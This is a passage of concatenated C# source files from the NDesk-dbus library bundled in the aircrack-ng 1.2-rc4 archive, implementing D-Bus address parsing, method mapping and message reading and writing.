colons found"); entry.Method = parts[0]; foreach (string propStr in parts[1].Split (',')) { parts = propStr.Split ('='); if (parts.Length < 2) throw new BadAddressException ("No equals sign found"); if (parts.Length > 2) throw new BadAddressException ("Too many equals signs found"); entry.Properties[parts[0]] = Unescape (parts[1]); } return entry; } } static class Address { //(unix:(path|abstract)=.*,guid=.*|tcp:host=.*(,port=.*)?);? ... public static AddressEntry[] Parse (string addresses) { if (addresses == null) throw new ArgumentNullException (addresses); List entries = new List (); foreach (string entryStr in addresses.Split (';')) entries.Add (AddressEntry.Parse (entryStr)); return entries.ToArray (); } const string SYSTEM_BUS_ADDRESS = "unix:path=/var/run/dbus/system_bus_socket"; public static string System { get { string addr = Environment.GetEnvironmentVariable ("DBUS_SYSTEM_BUS_ADDRESS"); if (String.IsNullOrEmpty (addr)) addr = SYSTEM_BUS_ADDRESS; return addr; } } public static string Session { get { return Environment.GetEnvironmentVariable ("DBUS_SESSION_BUS_ADDRESS"); } } public static string Starter { get { return Environment.GetEnvironmentVariable ("DBUS_STARTER_ADDRESS"); } } public static string StarterBusType { get { return Environment.GetEnvironmentVariable ("DBUS_STARTER_BUS_TYPE"); } } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Mapper.cs0000644000000000000000000002534011600013506022701 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using System.Reflection; namespace NDesk.DBus { static class Mapper { //TODO: move these Get*Name helpers somewhere more appropriate public static string GetArgumentName (ParameterInfo pi) { string argName = pi.Name; if (pi.IsRetval && String.IsNullOrEmpty (argName)) argName = "ret"; return GetArgumentName ((ICustomAttributeProvider)pi, argName); } public static string GetArgumentName (ICustomAttributeProvider attrProvider, string defaultName) { string argName = defaultName; //TODO: no need for foreach foreach (ArgumentAttribute aa in attrProvider.GetCustomAttributes (typeof (ArgumentAttribute), true)) argName = aa.Name; return argName; } //TODO: these two methods are quite messy and need review public static IEnumerable GetPublicMembers (Type type) { //note that Type.GetInterfaces() returns all interfaces with flattened hierarchy foreach (Type ifType in type.GetInterfaces ()) foreach (MemberInfo mi in GetDeclaredPublicMembers (ifType)) yield return mi; if (IsPublic (type)) foreach (MemberInfo mi in GetDeclaredPublicMembers (type)) yield return mi; } static IEnumerable GetDeclaredPublicMembers (Type type) { if (IsPublic (type)) foreach (MemberInfo mi in type.GetMembers (BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly)) yield return mi; } //this method walks the interface tree in an undefined manner and returns the first match, or if no matches are found, null //the logic needs review and cleanup //TODO: unify member name mapping as is already done with interfaces and args public static MethodInfo GetMethod (Type type, MethodCall method_call) { foreach (MemberInfo member in Mapper.GetPublicMembers (type)) { //this could be made more efficient by using the given interface name earlier and avoiding walking through all public interfaces if (method_call.Interface != null) if (GetInterfaceName (member) != method_call.Interface) continue; MethodInfo meth = null; Type[] inTypes = null; if (member is PropertyInfo) { PropertyInfo prop = member as PropertyInfo; MethodInfo getter = prop.GetGetMethod (false); MethodInfo setter = prop.GetSetMethod (false); if (getter != null && "Get" + prop.Name == method_call.Member) { meth = getter; inTypes = Type.EmptyTypes; } else if (setter != null && "Set" + prop.Name == method_call.Member) { meth = setter; inTypes = new Type[] {prop.PropertyType}; } } else { meth = member as MethodInfo; if (meth == null) continue; if (meth.Name != method_call.Member) continue; inTypes = Mapper.GetTypes (ArgDirection.In, meth.GetParameters ()); } if (meth == null || inTypes == null) continue; Signature inSig = Signature.GetSig (inTypes); if (inSig != method_call.Signature) continue; return meth; } return null; } public static bool IsPublic (MemberInfo mi) { return IsPublic (mi.DeclaringType); } public static bool IsPublic (Type type) { //we need to have a proper look at what's really public at some point //this will do for now if (type.IsDefined (typeof (InterfaceAttribute), false)) return true; if (type.IsSubclassOf (typeof (MarshalByRefObject))) return true; return false; } public static string GetInterfaceName (MemberInfo mi) { return GetInterfaceName (mi.DeclaringType); } public static string GetInterfaceName (Type type) { string interfaceName = type.FullName; //TODO: better fallbacks and namespace mangling when no InterfaceAttribute is available //TODO: no need for foreach foreach (InterfaceAttribute ia in type.GetCustomAttributes (typeof (InterfaceAttribute), true)) interfaceName = ia.Name; return interfaceName; } public static Type[] GetTypes (ArgDirection dir, ParameterInfo[] parms) { List types = new List (); //TODO: consider InOut/Ref for (int i = 0 ; i != parms.Length ; i++) { switch (dir) { case ArgDirection.In: //docs say IsIn isn't reliable, and this is indeed true //if (parms[i].IsIn) if (!parms[i].IsOut) types.Add (parms[i].ParameterType); break; case ArgDirection.Out: if (parms[i].IsOut) { //TODO: note that IsOut is optional to the compiler, we may want to use IsByRef instead //eg: if (parms[i].ParameterType.IsByRef) types.Add (parms[i].ParameterType.GetElementType ()); } break; } } return types.ToArray (); } public static bool IsDeprecated (ICustomAttributeProvider attrProvider) { return attrProvider.IsDefined (typeof (ObsoleteAttribute), true); } static bool AreEqual (Type[] a, Type[] b) { if (a.Length != b.Length) return false; for (int i = 0 ; i != a.Length ; i++) if (a[i] != b[i]) return false; return true; } //workaround for Mono bug #81035 (memory leak) static List genTypes = new List (); internal static Type GetGenericType (Type defType, Type[] parms) { foreach (Type genType in genTypes) { if (genType.GetGenericTypeDefinition () != defType) continue; Type[] genParms = genType.GetGenericArguments (); if (!AreEqual (genParms, parms)) continue; return genType; } Type type = defType.MakeGenericType (parms); genTypes.Add (type); return type; } } //TODO: this class is messy, move the methods somewhere more appropriate static class MessageHelper { public static Message CreateUnknownMethodError (MethodCall method_call) { if (!method_call.message.ReplyExpected) return null; string errMsg = String.Format ("Method \"{0}\" with signature \"{1}\" on interface \"{2}\" doesn't exist", method_call.Member, method_call.Signature.Value, method_call.Interface); Error error = new Error ("org.freedesktop.DBus.Error.UnknownMethod", method_call.message.Header.Serial); error.message.Signature = new Signature (DType.String); MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.Write (errMsg); error.message.Body = writer.ToArray (); //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) error.message.Header.Fields[FieldCode.Destination] = method_call.Sender; return error.message; } public static void WriteDynamicValues (MessageWriter mw, ParameterInfo[] parms, object[] vals) { foreach (ParameterInfo parm in parms) { if (!parm.IsOut) continue; Type actualType = parm.ParameterType.GetElementType (); mw.Write (actualType, vals[parm.Position]); } } public static object[] GetDynamicValues (Message msg, ParameterInfo[] parms) { //TODO: this validation check should provide better information, eg. message dump or a stack trace, or at least the interface/member /* if (Protocol.Verbose) { Signature expected = Signature.GetSig (types); Signature actual = msg.Signature; if (actual != expected) Console.Error.WriteLine ("Warning: The signature of the message does not match that of the handler: " + "Expected '" + expected + "', got '" + actual + "'"); } */ object[] vals = new object[parms.Length]; if (msg.Body != null) { MessageReader reader = new MessageReader (msg); foreach (ParameterInfo parm in parms) { if (parm.IsOut) continue; vals[parm.Position] = reader.ReadValue (parm.ParameterType); } } return vals; } public static object[] GetDynamicValues (Message msg, Type[] types) { //TODO: this validation check should provide better information, eg. message dump or a stack trace, or at least the interface/member if (Protocol.Verbose) { Signature expected = Signature.GetSig (types); Signature actual = msg.Signature; if (actual != expected) Console.Error.WriteLine ("Warning: The signature of the message does not match that of the handler: " + "Expected '" + expected + "', got '" + actual + "'"); } object[] vals = new object[types.Length]; if (msg.Body != null) { MessageReader reader = new MessageReader (msg); for (int i = 0 ; i != types.Length ; i++) vals[i] = reader.ReadValue (types[i]); } return vals; } public static Message ConstructReply (MethodCall method_call, params object[] vals) { MethodReturn method_return = new MethodReturn (method_call.message.Header.Serial); Message replyMsg = method_return.message; Signature inSig = Signature.GetSig (vals); if (vals != null && vals.Length != 0) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); foreach (object arg in vals) writer.Write (arg.GetType (), arg); replyMsg.Body = writer.ToArray (); } //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) replyMsg.Header.Fields[FieldCode.Destination] = method_call.Sender; replyMsg.Signature = inSig; //replyMsg.WriteHeader (); return replyMsg; } public static Message ConstructDynamicReply (MethodCall method_call, MethodInfo mi, object retVal, object[] vals) { Type retType = mi.ReturnType; MethodReturn method_return = new MethodReturn (method_call.message.Header.Serial); Message replyMsg = method_return.message; Signature outSig = Signature.GetSig (retType); outSig += Signature.GetSig (Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ())); if (outSig != Signature.Empty) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); //first write the return value, if any if (retType != null && retType != typeof (void)) writer.Write (retType, retVal); //then write the out args WriteDynamicValues (writer, mi.GetParameters (), vals); replyMsg.Body = writer.ToArray (); } //TODO: we should be more strict here, but this fallback was added as a quick fix for p2p if (method_call.Sender != null) replyMsg.Header.Fields[FieldCode.Destination] = method_call.Sender; replyMsg.Signature = outSig; return replyMsg; } } [AttributeUsage (AttributeTargets.Interface | AttributeTargets.Class, AllowMultiple=false, Inherited=true)] public class InterfaceAttribute : Attribute { public string Name; public InterfaceAttribute (string name) { this.Name = name; } } [AttributeUsage (AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple=false, Inherited=true)] public class ArgumentAttribute : Attribute { public string Name; public ArgumentAttribute (string name) { this.Name = name; } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/NDesk-dbus.csproj0000644000000000000000000000571111600013506024307 0ustar rootroot Debug AnyCPU 10.0.0 2.0 {223B034E-A2F0-4BC7-875A-F9B5972C0670} Library NDeskdbus NDesk-dbus false ndesk.snk v2.0 true full false bin\Debug DEBUG prompt 4 false /unsafe none false bin\Release prompt 4 false /unsafe aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/MessageWriter.cs0000644000000000000000000002410211600013506024231 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; using System.IO; using System.Reflection; namespace NDesk.DBus { class MessageWriter { protected EndianFlag endianness; protected MemoryStream stream; public Connection connection; //a default constructor is a bad idea for now as we want to make sure the header and content-type match public MessageWriter () : this (Connection.NativeEndianness) {} public MessageWriter (EndianFlag endianness) { this.endianness = endianness; stream = new MemoryStream (); } public byte[] ToArray () { //TODO: mark the writer locked or something here return stream.ToArray (); } public void CloseWrite () { int needed = Protocol.PadNeeded ((int)stream.Position, 8); for (int i = 0 ; i != needed ; i++) stream.WriteByte (0); } public void Write (byte val) { stream.WriteByte (val); } public void Write (bool val) { Write ((uint) (val ? 1 : 0)); } unsafe protected void MarshalUShort (byte *data) { WritePad (2); byte[] dst = new byte[2]; if (endianness == Connection.NativeEndianness) { dst[0] = data[0]; dst[1] = data[1]; } else { dst[0] = data[1]; dst[1] = data[0]; } stream.Write (dst, 0, 2); } unsafe public void Write (short val) { MarshalUShort ((byte*)&val); } unsafe public void Write (ushort val) { MarshalUShort ((byte*)&val); } unsafe protected void MarshalUInt (byte *data) { WritePad (4); byte[] dst = new byte[4]; if (endianness == Connection.NativeEndianness) { dst[0] = data[0]; dst[1] = data[1]; dst[2] = data[2]; dst[3] = data[3]; } else { dst[0] = data[3]; dst[1] = data[2]; dst[2] = data[1]; dst[3] = data[0]; } stream.Write (dst, 0, 4); } unsafe public void Write (int val) { MarshalUInt ((byte*)&val); } unsafe public void Write (uint val) { MarshalUInt ((byte*)&val); } unsafe protected void MarshalULong (byte *data) { WritePad (8); byte[] dst = new byte[8]; if (endianness == Connection.NativeEndianness) { for (int i = 0; i < 8; ++i) dst[i] = data[i]; } else { for (int i = 0; i < 8; ++i) dst[i] = data[7 - i]; } stream.Write (dst, 0, 8); } unsafe public void Write (long val) { MarshalULong ((byte*)&val); } unsafe public void Write (ulong val) { MarshalULong ((byte*)&val); } #if !DISABLE_SINGLE unsafe public void Write (float val) { MarshalUInt ((byte*)&val); } #endif unsafe public void Write (double val) { MarshalULong ((byte*)&val); } public void Write (string val) { byte[] utf8_data = Encoding.UTF8.GetBytes (val); Write ((uint)utf8_data.Length); stream.Write (utf8_data, 0, utf8_data.Length); WriteNull (); } public void Write (ObjectPath val) { Write (val.Value); } public void Write (Signature val) { byte[] ascii_data = val.GetBuffer (); if (ascii_data.Length > Protocol.MaxSignatureLength) throw new Exception ("Signature length " + ascii_data.Length + " exceeds maximum allowed " + Protocol.MaxSignatureLength + " bytes"); Write ((byte)ascii_data.Length); stream.Write (ascii_data, 0, ascii_data.Length); WriteNull (); } public void WriteComplex (object val, Type type) { if (type == typeof (void)) return; if (type.IsArray) { WriteArray (val, type.GetElementType ()); } else if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); System.Collections.IDictionary idict = (System.Collections.IDictionary)val; WriteFromDict (genArgs[0], genArgs[1], idict); } else if (Mapper.IsPublic (type)) { WriteObject (type, val); } else if (!type.IsPrimitive && !type.IsEnum) { WriteValueType (val, type); /* } else if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (Nullable<>)) { //is it possible to support nullable types? Type[] genArgs = type.GetGenericArguments (); WriteVariant (genArgs[0], val); */ } else { throw new Exception ("Can't write"); } } public void Write (Type type, object val) { if (type == typeof (void)) return; if (type.IsArray) { WriteArray (val, type.GetElementType ()); } else if (type == typeof (ObjectPath)) { Write ((ObjectPath)val); } else if (type == typeof (Signature)) { Write ((Signature)val); } else if (type == typeof (object)) { Write (val); } else if (type == typeof (string)) { Write ((string)val); } else if (type.IsGenericType && (type.GetGenericTypeDefinition () == typeof (IDictionary<,>) || type.GetGenericTypeDefinition () == typeof (Dictionary<,>))) { Type[] genArgs = type.GetGenericArguments (); System.Collections.IDictionary idict = (System.Collections.IDictionary)val; WriteFromDict (genArgs[0], genArgs[1], idict); } else if (Mapper.IsPublic (type)) { WriteObject (type, val); } else if (!type.IsPrimitive && !type.IsEnum) { WriteValueType (val, type); } else { Write (Signature.TypeToDType (type), val); } } //helper method, should not be used as it boxes needlessly public void Write (DType dtype, object val) { switch (dtype) { case DType.Byte: { Write ((byte)val); } break; case DType.Boolean: { Write ((bool)val); } break; case DType.Int16: { Write ((short)val); } break; case DType.UInt16: { Write ((ushort)val); } break; case DType.Int32: { Write ((int)val); } break; case DType.UInt32: { Write ((uint)val); } break; case DType.Int64: { Write ((long)val); } break; case DType.UInt64: { Write ((ulong)val); } break; #if !DISABLE_SINGLE case DType.Single: { Write ((float)val); } break; #endif case DType.Double: { Write ((double)val); } break; case DType.String: { Write ((string)val); } break; case DType.ObjectPath: { Write ((ObjectPath)val); } break; case DType.Signature: { Write ((Signature)val); } break; case DType.Variant: { Write ((object)val); } break; default: throw new Exception ("Unhandled D-Bus type: " + dtype); } } public void WriteObject (Type type, object val) { ObjectPath path; BusObject bobj = val as BusObject; if (bobj == null && val is MarshalByRefObject) { bobj = ((MarshalByRefObject)val).GetLifetimeService () as BusObject; } if (bobj == null) throw new Exception ("No object reference to write"); path = bobj.Path; Write (path); } //variant public void Write (object val) { //TODO: maybe support sending null variants if (val == null) throw new NotSupportedException ("Cannot send null variant"); Type type = val.GetType (); WriteVariant (type, val); } public void WriteVariant (Type type, object val) { Signature sig = Signature.GetSig (type); Write (sig); Write (type, val); } //this requires a seekable stream for now public void WriteArray (object obj, Type elemType) { Array val = (Array)obj; //TODO: more fast paths for primitive arrays if (elemType == typeof (byte)) { if (val.Length > Protocol.MaxArrayLength) throw new Exception ("Array length " + val.Length + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write ((uint)val.Length); stream.Write ((byte[])val, 0, val.Length); return; } long origPos = stream.Position; Write ((uint)0); //advance to the alignment of the element WritePad (Protocol.GetAlignment (Signature.TypeToDType (elemType))); long startPos = stream.Position; foreach (object elem in val) Write (elemType, elem); long endPos = stream.Position; uint ln = (uint)(endPos - startPos); stream.Position = origPos; if (ln > Protocol.MaxArrayLength) throw new Exception ("Array length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write (ln); stream.Position = endPos; } public void WriteFromDict (Type keyType, Type valType, System.Collections.IDictionary val) { long origPos = stream.Position; Write ((uint)0); //advance to the alignment of the element //WritePad (Protocol.GetAlignment (Signature.TypeToDType (type))); WritePad (8); long startPos = stream.Position; foreach (System.Collections.DictionaryEntry entry in val) { WritePad (8); Write (keyType, entry.Key); Write (valType, entry.Value); } long endPos = stream.Position; uint ln = (uint)(endPos - startPos); stream.Position = origPos; if (ln > Protocol.MaxArrayLength) throw new Exception ("Dict length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); Write (ln); stream.Position = endPos; } public void WriteValueType (object val, Type type) { MethodInfo mi = TypeImplementer.GetWriteMethod (type); mi.Invoke (null, new object[] {this, val}); } /* public void WriteValueTypeOld (object val, Type type) { WritePad (8); if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (KeyValuePair<,>)) { System.Reflection.PropertyInfo key_prop = type.GetProperty ("Key"); Write (key_prop.PropertyType, key_prop.GetValue (val, null)); System.Reflection.PropertyInfo val_prop = type.GetProperty ("Value"); Write (val_prop.PropertyType, val_prop.GetValue (val, null)); return; } FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); foreach (System.Reflection.FieldInfo fi in fis) { object elem; elem = fi.GetValue (val); Write (fi.FieldType, elem); } } */ public void WriteNull () { stream.WriteByte (0); } public void WritePad (int alignment) { stream.Position = Protocol.Padded ((int)stream.Position, alignment); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/MessageReader.cs0000644000000000000000000002234511600013506024166 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Text; using System.Collections.Generic; using System.IO; using System.Reflection; namespace NDesk.DBus { class MessageReader { protected EndianFlag endianness; protected byte[] data; //TODO: this should be uint or long to handle long messages protected int pos = 0; protected Message message; public MessageReader (EndianFlag endianness, byte[] data) { if (data == null) throw new ArgumentNullException ("data"); this.endianness = endianness; this.data = data; } public MessageReader (Message message) : this (message.Header.Endianness, message.Body) { if (message == null) throw new ArgumentNullException ("message"); this.message = message; } public object ReadValue (Type type) { if (type == typeof (void)) return null; if (type.IsArray) { return ReadArray (type.GetElementType ()); } else if (type == typeof (ObjectPath)) { return ReadObjectPath (); } else if (type == typeof (Signature)) { return ReadSignature (); } else if (type == typeof (object)) { return ReadVariant (); } else if (type == typeof (string)) { return ReadString (); } else if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (IDictionary<,>)) { Type[] genArgs = type.GetGenericArguments (); //Type dictType = typeof (Dictionary<,>).MakeGenericType (genArgs); //workaround for Mono bug #81035 (memory leak) Type dictType = Mapper.GetGenericType (typeof (Dictionary<,>), genArgs); System.Collections.IDictionary idict = (System.Collections.IDictionary)Activator.CreateInstance(dictType, new object[0]); GetValueToDict (genArgs[0], genArgs[1], idict); return idict; } else if (Mapper.IsPublic (type)) { return GetObject (type); } else if (!type.IsPrimitive && !type.IsEnum) { return ReadStruct (type); } else { object val; DType dtype = Signature.TypeToDType (type); val = ReadValue (dtype); if (type.IsEnum) val = Enum.ToObject (type, val); return val; } } //helper method, should not be used generally public object ReadValue (DType dtype) { switch (dtype) { case DType.Byte: return ReadByte (); case DType.Boolean: return ReadBoolean (); case DType.Int16: return ReadInt16 (); case DType.UInt16: return ReadUInt16 (); case DType.Int32: return ReadInt32 (); case DType.UInt32: return ReadUInt32 (); case DType.Int64: return ReadInt64 (); case DType.UInt64: return ReadUInt64 (); #if !DISABLE_SINGLE case DType.Single: return ReadSingle (); #endif case DType.Double: return ReadDouble (); case DType.String: return ReadString (); case DType.ObjectPath: return ReadObjectPath (); case DType.Signature: return ReadSignature (); case DType.Variant: return ReadVariant (); default: throw new Exception ("Unhandled D-Bus type: " + dtype); } } public object GetObject (Type type) { ObjectPath path = ReadObjectPath (); return message.Connection.GetObject (type, (string)message.Header.Fields[FieldCode.Sender], path); } public byte ReadByte () { return data[pos++]; } public bool ReadBoolean () { uint intval = ReadUInt32 (); switch (intval) { case 0: return false; case 1: return true; default: throw new Exception ("Read value " + intval + " at position " + pos + " while expecting boolean (0/1)"); } } unsafe protected void MarshalUShort (byte *dst) { ReadPad (2); if (endianness == Connection.NativeEndianness) { dst[0] = data[pos + 0]; dst[1] = data[pos + 1]; } else { dst[0] = data[pos + 1]; dst[1] = data[pos + 0]; } pos += 2; } unsafe public short ReadInt16 () { short val; MarshalUShort ((byte*)&val); return val; } unsafe public ushort ReadUInt16 () { ushort val; MarshalUShort ((byte*)&val); return val; } unsafe protected void MarshalUInt (byte *dst) { ReadPad (4); if (endianness == Connection.NativeEndianness) { dst[0] = data[pos + 0]; dst[1] = data[pos + 1]; dst[2] = data[pos + 2]; dst[3] = data[pos + 3]; } else { dst[0] = data[pos + 3]; dst[1] = data[pos + 2]; dst[2] = data[pos + 1]; dst[3] = data[pos + 0]; } pos += 4; } unsafe public int ReadInt32 () { int val; MarshalUInt ((byte*)&val); return val; } unsafe public uint ReadUInt32 () { uint val; MarshalUInt ((byte*)&val); return val; } unsafe protected void MarshalULong (byte *dst) { ReadPad (8); if (endianness == Connection.NativeEndianness) { for (int i = 0; i < 8; ++i) dst[i] = data[pos + i]; } else { for (int i = 0; i < 8; ++i) dst[i] = data[pos + (7 - i)]; } pos += 8; } unsafe public long ReadInt64 () { long val; MarshalULong ((byte*)&val); return val; } unsafe public ulong ReadUInt64 () { ulong val; MarshalULong ((byte*)&val); return val; } #if !DISABLE_SINGLE unsafe public float ReadSingle () { float val; MarshalUInt ((byte*)&val); return val; } #endif unsafe public double ReadDouble () { double val; MarshalULong ((byte*)&val); return val; } public string ReadString () { uint ln = ReadUInt32 (); string val = Encoding.UTF8.GetString (data, pos, (int)ln); pos += (int)ln; ReadNull (); return val; } public ObjectPath ReadObjectPath () { //exactly the same as string return new ObjectPath (ReadString ()); } public Signature ReadSignature () { byte ln = ReadByte (); if (ln > Protocol.MaxSignatureLength) throw new Exception ("Signature length " + ln + " exceeds maximum allowed " + Protocol.MaxSignatureLength + " bytes"); byte[] sigData = new byte[ln]; Array.Copy (data, pos, sigData, 0, (int)ln); pos += (int)ln; ReadNull (); return new Signature (sigData); } public object ReadVariant () { return ReadVariant (ReadSignature ()); } object ReadVariant (Signature sig) { return ReadValue (sig.ToType ()); } //not pretty or efficient but works public void GetValueToDict (Type keyType, Type valType, System.Collections.IDictionary val) { uint ln = ReadUInt32 (); if (ln > Protocol.MaxArrayLength) throw new Exception ("Dict length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); //advance to the alignment of the element //ReadPad (Protocol.GetAlignment (Signature.TypeToDType (type))); ReadPad (8); int endPos = pos + (int)ln; //while (stream.Position != endPos) while (pos < endPos) { ReadPad (8); val.Add (ReadValue (keyType), ReadValue (valType)); } if (pos != endPos) throw new Exception ("Read pos " + pos + " != ep " + endPos); } //this could be made generic to avoid boxing public Array ReadArray (Type elemType) { uint ln = ReadUInt32 (); if (ln > Protocol.MaxArrayLength) throw new Exception ("Array length " + ln + " exceeds maximum allowed " + Protocol.MaxArrayLength + " bytes"); //TODO: more fast paths for primitive arrays if (elemType == typeof (byte)) { byte[] valb = new byte[ln]; Array.Copy (data, pos, valb, 0, (int)ln); pos += (int)ln; return valb; } //advance to the alignment of the element ReadPad (Protocol.GetAlignment (Signature.TypeToDType (elemType))); int endPos = pos + (int)ln; //List vals = new List (); System.Collections.ArrayList vals = new System.Collections.ArrayList (); //while (stream.Position != endPos) while (pos < endPos) vals.Add (ReadValue (elemType)); if (pos != endPos) throw new Exception ("Read pos " + pos + " != ep " + endPos); return vals.ToArray (elemType); } //struct //probably the wrong place for this //there might be more elegant solutions public object ReadStruct (Type type) { ReadPad (8); object val = Activator.CreateInstance (type); /* if (type.IsGenericType && type.GetGenericTypeDefinition () == typeof (KeyValuePair<,>)) { object elem; System.Reflection.PropertyInfo key_prop = type.GetProperty ("Key"); GetValue (key_prop.PropertyType, out elem); key_prop.SetValue (val, elem, null); System.Reflection.PropertyInfo val_prop = type.GetProperty ("Value"); GetValue (val_prop.PropertyType, out elem); val_prop.SetValue (val, elem, null); return; } */ FieldInfo[] fis = type.GetFields (BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance); foreach (System.Reflection.FieldInfo fi in fis) fi.SetValue (val, ReadValue (fi.FieldType)); return val; } public void ReadNull () { if (data[pos] != 0) throw new Exception ("Read non-zero byte at position " + pos + " while expecting null terminator"); pos++; } /* public void ReadPad (int alignment) { pos = Protocol.Padded (pos, alignment); } */ public void ReadPad (int alignment) { for (int endPos = Protocol.Padded (pos, alignment) ; pos != endPos ; pos++) if (data[pos] != 0) throw new Exception ("Read non-zero byte at position " + pos + " while expecting padding"); } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/BusObject.cs0000644000000000000000000002055111600013506023334 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Reflection; using System.Reflection.Emit; using System.Collections.Generic; namespace NDesk.DBus { class BusObject { protected Connection conn; string bus_name; ObjectPath object_path; //protected BusObject () public BusObject () { } public BusObject (Connection conn, string bus_name, ObjectPath object_path) { this.conn = conn; this.bus_name = bus_name; this.object_path = object_path; } public Connection Connection { get { return conn; } } public string BusName { get { return bus_name; } } public ObjectPath Path { get { return object_path; } } public void ToggleSignal (string iface, string member, Delegate dlg, bool adding) { MatchRule rule = new MatchRule (); rule.MessageType = MessageType.Signal; rule.Interface = iface; rule.Member = member; rule.Path = object_path; if (adding) { if (conn.Handlers.ContainsKey (rule)) conn.Handlers[rule] = Delegate.Combine (conn.Handlers[rule], dlg); else { conn.Handlers[rule] = dlg; conn.AddMatch (rule.ToString ()); } } else { conn.Handlers[rule] = Delegate.Remove (conn.Handlers[rule], dlg); if (conn.Handlers[rule] == null) { conn.RemoveMatch (rule.ToString ()); conn.Handlers.Remove (rule); } } } public void SendSignal (string iface, string member, string inSigStr, MessageWriter writer, Type retType, out Exception exception) { exception = null; //TODO: don't ignore retVal, exception etc. Signature outSig = String.IsNullOrEmpty (inSigStr) ? Signature.Empty : new Signature (inSigStr); Signal signal = new Signal (object_path, iface, member); signal.message.Signature = outSig; Message signalMsg = signal.message; signalMsg.Body = writer.ToArray (); conn.Send (signalMsg); } public object SendMethodCall (string iface, string member, string inSigStr, MessageWriter writer, Type retType, out Exception exception) { exception = null; //TODO: don't ignore retVal, exception etc. Signature inSig = String.IsNullOrEmpty (inSigStr) ? Signature.Empty : new Signature (inSigStr); MethodCall method_call = new MethodCall (object_path, iface, member, bus_name, inSig); Message callMsg = method_call.message; callMsg.Body = writer.ToArray (); //Invoke Code:: //TODO: complete out parameter support /* Type[] outParmTypes = Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ()); Signature outParmSig = Signature.GetSig (outParmTypes); if (outParmSig != Signature.Empty) throw new Exception ("Out parameters not yet supported: out_signature='" + outParmSig.Value + "'"); */ Type[] outTypes = new Type[1]; outTypes[0] = retType; //we default to always requiring replies for now, even though unnecessary //this is to make sure errors are handled synchronously //TODO: don't hard code this bool needsReply = true; //if (mi.ReturnType == typeof (void)) // needsReply = false; callMsg.ReplyExpected = needsReply; callMsg.Signature = inSig; if (!needsReply) { conn.Send (callMsg); return null; } #if PROTO_REPLY_SIGNATURE if (needsReply) { Signature outSig = Signature.GetSig (outTypes); callMsg.Header.Fields[FieldCode.ReplySignature] = outSig; } #endif Message retMsg = conn.SendWithReplyAndBlock (callMsg); object retVal = null; //handle the reply message switch (retMsg.Header.MessageType) { case MessageType.MethodReturn: object[] retVals = MessageHelper.GetDynamicValues (retMsg, outTypes); if (retVals.Length != 0) retVal = retVals[retVals.Length - 1]; break; case MessageType.Error: //TODO: typed exceptions Error error = new Error (retMsg); string errMsg = String.Empty; if (retMsg.Signature.Value.StartsWith ("s")) { MessageReader reader = new MessageReader (retMsg); errMsg = reader.ReadString (); } exception = new Exception (error.ErrorName + ": " + errMsg); break; default: throw new Exception ("Got unexpected message of type " + retMsg.Header.MessageType + " while waiting for a MethodReturn or Error"); } return retVal; } public void Invoke (MethodBase methodBase, string methodName, object[] inArgs, out object[] outArgs, out object retVal, out Exception exception) { outArgs = new object[0]; retVal = null; exception = null; MethodInfo mi = methodBase as MethodInfo; if (mi != null && mi.IsSpecialName && (methodName.StartsWith ("add_") || methodName.StartsWith ("remove_"))) { string[] parts = methodName.Split (new char[]{'_'}, 2); string ename = parts[1]; Delegate dlg = (Delegate)inArgs[0]; ToggleSignal (Mapper.GetInterfaceName (mi), ename, dlg, parts[0] == "add"); return; } Type[] inTypes = Mapper.GetTypes (ArgDirection.In, mi.GetParameters ()); Signature inSig = Signature.GetSig (inTypes); MethodCall method_call; Message callMsg; //build the outbound method call message { //this bit is error-prone (no null checking) and will need rewriting when DProxy is replaced string iface = null; if (mi != null) iface = Mapper.GetInterfaceName (mi); //map property accessors //TODO: this needs to be done properly, not with simple String.Replace //note that IsSpecialName is also for event accessors, but we already handled those and returned if (mi != null && mi.IsSpecialName) { methodName = methodName.Replace ("get_", "Get"); methodName = methodName.Replace ("set_", "Set"); } method_call = new MethodCall (object_path, iface, methodName, bus_name, inSig); callMsg = method_call.message; if (inArgs != null && inArgs.Length != 0) { MessageWriter writer = new MessageWriter (Connection.NativeEndianness); writer.connection = conn; for (int i = 0 ; i != inTypes.Length ; i++) writer.Write (inTypes[i], inArgs[i]); callMsg.Body = writer.ToArray (); } } //TODO: complete out parameter support /* Type[] outParmTypes = Mapper.GetTypes (ArgDirection.Out, mi.GetParameters ()); Signature outParmSig = Signature.GetSig (outParmTypes); if (outParmSig != Signature.Empty) throw new Exception ("Out parameters not yet supported: out_signature='" + outParmSig.Value + "'"); */ Type[] outTypes = new 